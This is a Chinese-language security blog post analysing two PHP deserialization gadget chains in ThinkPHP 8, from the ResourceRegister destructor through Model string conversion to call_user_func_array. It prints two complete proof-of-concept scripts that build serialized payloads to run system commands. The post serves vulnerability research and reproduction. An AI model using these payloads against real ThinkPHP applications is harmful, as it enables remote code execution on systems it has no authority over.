thinkphp8反序列化链子分析
Thinkphp8反序列化链子分析
前言
thinkphp8
发布不久,支持的PHP
版本最低为8
,从各大社区都描述可知,PHP8
的开发中潜入了安全的研究者
,也就是相对来说PHP8
变的比较安全。但是并不影响能够找到反序列化的链子,根据师傅们写的文章也不难看出,thinkphp8
的反序列化链子不过是将thinkphp6
的链子换了一个入口。
搭建环境
composer create-project topthink/think tp8 //Apache中使用的php版本要高于8
链子分析
从thinkphp分析合集中可以知悉,漏洞的source
点是通过Model
触发save
方法从而触发后续的链子,但是在thinkphp8
中可以看到,整个类的destruct
方法都被删除掉了,也就是失去了这个触发点,只需要找一个新的source
点即可。
根据平常的惯例,php
的反序列化点一般都是在destruct
或wakeup
等拥有主动性的函数,这次的source
点在ResourceRegister
类的__destruct
方法,方法能够触发register
方法,而$this->registered
默认是false
的。
进入register
方法后,会来到parseGroupRule
方法中,参数是this->resource->getRule()
的返回值,也就是从Rule
类中直接返回变量rule
的值。
在Resource#parseGroupRule
方法中可知,先判断rule
变量是否存在.
,如果存在,则会分割成数组,随后弹出数组中的第一个索引并遍历数组,$item[] = $val . '/<' . ($option['var'][$val] ?? $val . '_id') . '>';
会取出options
变量var
数组的val
索引并与字符串拼接,这里的option
也是完全可控的,也就是说这里可以触发_toString
方法。
在Convertion#__toString
方法中,能够触发toJson
方法的,从这里也就连接起了thinkphp6
链子的后半段信息。
进入到_toJson
方法会通过json_encode
编码成json
,在这之前会触发toArray()
方法先变成数组,方法的具体内容如下:
public function toArray(): array
{
$item = $visible = $hidden = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$visible[$relation][] = $name;
} else {
$visible[$val] = true;
$hasVisible = true;
}
} else {
$visible[$key] = $val;
}
}
foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$hidden[$relation][] = $name;
} else {
$hidden[$val] = true;
}
} else {
$hidden[$key] = $val;
}
}
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name, $visible, $hidden);
}
$data = array_merge($this->data, $this->relation);
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
if (isset($visible[$key]) && is_array($visible[$key])) {
$val->visible($visible[$key]);
} elseif (isset($hidden[$key]) && is_array($hidden[$key])) {
$val->hidden($hidden[$key], true);
}
if (!array_key_exists($key, $this->relation) || (array_key_exists($key, $this->with) && (!isset($hidden[$key]) || true !== $hidden[$key]))) {
$item[$key] = $val->toArray();
}
} elseif (isset($visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);#触发getAttr方法
}
if (isset($this->mapping[$key])) {
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}
if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}
return $item;
}
这个方法中有很多for
循环,但是一开始赋值的都是空数组,所以前面的循环都不需要管,直至通过array_merge
将data
与relation
合并,并遍历合并后的数组后会进行条件判断,这里需要进入getAttr
方法,只需要将$visible
滞空,就会来到最后一个elseif
,因为$hidden
默认是空的,而$hasVisible
也默认是false
,会进入到getAttr
方法中。
在Attribute#get
方法中,会先触发getData
方法,这个方法会进入到getRealFieldName
中返回跟参数一样的值,最终会返回data
数组中name
索引的值,最终会进入getValue
方法。
在getValue
中,如果参数$name
的值在json
数组中,并且withAttr
参数索引$name
的值是一个数组,就会进入getJsonValue
方法。
最终sink
点在两个变量的拼接上,遍历withAttr
的值作为函数名,将value
的值作为参数,触发命令执行,这里的value
就是data
参数的值。
因此整个poc如下,这里需要解释下为什么Pivot
类最终会来到Conversion__toString
,因为Pivot
继承于Model
类,而Model
类中通过use
字段服用了整个Conversion
与Attribute
的代码:
<?php
namespace think\model\concern;
trait Attribute{
private $data=['a'=>['a'=>'whoami']];
private $withAttr=['a'=>['a'=>'system']];
protected $json=["a"];
protected $jsonAssoc = true;
}
namespace think;
abstract class Model{
use model\concern\Attribute;
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
namespace think\route;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option = ["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
链子分析2
链子的起始头与第一条链子是一样的,都是通过触发Model#__toString()
进入到Conversion#toArray()
方法,但是source
点不太一样,这里进入的是appendAttrToArray
方法中,通过控制append
的值,可以控制$name
,在前文也提到,visible
可以通过控制$this->visible
的值,通过遍历$this->visible
来控制visible
的值。
在appendAttrToArray
方法中,当这里的$name
属性包含.
的时候,会切割成数组,进入到getRelationWith
方法中。
在getRelationWith
方法中,当控制掉$relation
为Validate
类的时候,因为不存在visible
方法,因此会触发Validate#_call
方法。
这里的getRelation
方法,当$name
为空值的时候,直接返回类的relation
值,否则当relation
是数组时,判断$name
是否是relation
的索引,如果是则返回$name
索引的值。
在Validate#_call
中,做了一些处理,但是并不影响args
的值,也就是我们事先传入的$visible[$key]
,最终通过call_user_func_array
触发类中的is
方法。
在is
方法中,可以控制this->type[$rule]
的值为system
,控制$value
的最终结果为你需要的命令即可。
public function is($value, string $rule, array $data = []): bool
{
$call = function ($value, $rule) {
if (isset($this->type[$rule])) {
$result = call_user_func_array($this->type[$rule], [$value]); #漏洞触发点
} elseif (function_exists('ctype_' . $rule)) {
$ctypeFun = 'ctype_' . $rule;
$result = $ctypeFun($value);
} elseif (isset($this->filter[$rule])) {
$result = $this->filter($value, $this->filter[$rule]);
} else {
$result = $this->regex($value, $rule);
}
return $result;
};
return match (Str::camel($rule)) {
'require' => !empty($value) || '0' == $value, // 必须
'accepted' => in_array($value, ['1', 'on', 'yes']), // 接受
'date' => false !== strtotime($value), // 是否是一个有效日期
'activeUrl' => checkdnsrr($value), // 是否为有效的网址
'boolean','bool' => in_array($value, [true, false, 0, 1, '0', '1'], true),
'number' => ctype_digit((string) $value),
'alphaNum' => ctype_alnum($value),
'array' => is_array($value), // 是否为数组
'string' => is_string($value),
'file' => $value instanceof File,
'image' => $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]),
'token' => $this->token($value, '__token__', $data),
default => $call($value, $rule),
};
}
这里有一个点容易卡住,也卡住了我将近半小时,就是前面关于$visible
的遍历,如果直接将$this->visible
的值赋值成类似whoami
,最终会变成true
。但是如果这里不是字符串,最终call_user_func_array($this->type[$rule], [$value]);
又如何执行呢,首先是尝试了数组的形式,最终[$value]
变成了双重数组,命令执行会失败。
foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (str_contains($val, '.')) {
[$relation, $name] = explode('.', $val);
$visible[$relation][] = $name;
} else {
$visible[$val] = true;
$hasVisible = true;
}
} else {
$visible[$key] = $val;
}
}
这里的解决办法就是在call_user_func_array($this->type[$rule], [$value]);
执行的过程中,如果$value
是一个类,也就相当于这个类被当成了字符串使用,会触发它的__toString
方法,返回一个值,因此只需要找一个类的__toString
方法直接返回一个值,并且这个值是可控的即可。我与链子作者
都把枪头同时指向了ConstStub
类,这里可以通过构造方法控制value
,从而达到上面的效果。
最终payload:
<?php
namespace Symfony\Component\VarDumper\Cloner;
class Stub{}
namespace Symfony\Component\VarDumper\Caster;
use Symfony\Component\VarDumper\Cloner\Stub;
class ConstStub extends Stub
{
public $value="whoami";
}
namespace think;
use Symfony\Component\VarDumper\Caster\ConstStub;
class Validate{
protected $type;
public function __construct(){
$this->type=["visible"=>"system"];
}
}
abstract class Model{
protected $append=["a"=>"1.1"];
private $relation;
protected $visible;
public function __construct(){
$this->relation=["1"=>new Validate()];
$this->visible=["1"=>new ConstStub()]; //不能为字符串,怎么办?
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
namespace think\route;
use Symfony\Component\VarDumper\Caster\ConstStub;
use think\Validate;
class Resource {
public function __construct()
{
$this->rule = "1.1";
$this->option =["var" => ["1" => new \think\model\Pivot()]];
}
}
class ResourceRegister
{
protected $resource;
public function __construct()
{
$this->resource = new Resource();
}
public function __destruct()
{
$this->register();
}
protected function register()
{
$this->resource->parseGroupRule($this->resource->getRule());
}
}
$obj = new ResourceRegister();
echo base64_encode(serialize($obj));
总结
对于链子发现的过程,请参考下面原作者文章,本人参考作者的sink
点,仅对链子进行复现并以自己简单易懂的方式与payload
进行了归纳。
参考文章:
链子发现者文章
文章标题:thinkphp8反序列化链子分析
文章链接:https://aiwin.fun/index.php/archives/4422/
最后编辑:2024 年 7 月 6 日 22:02 By Aiwin
许可协议: 署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0)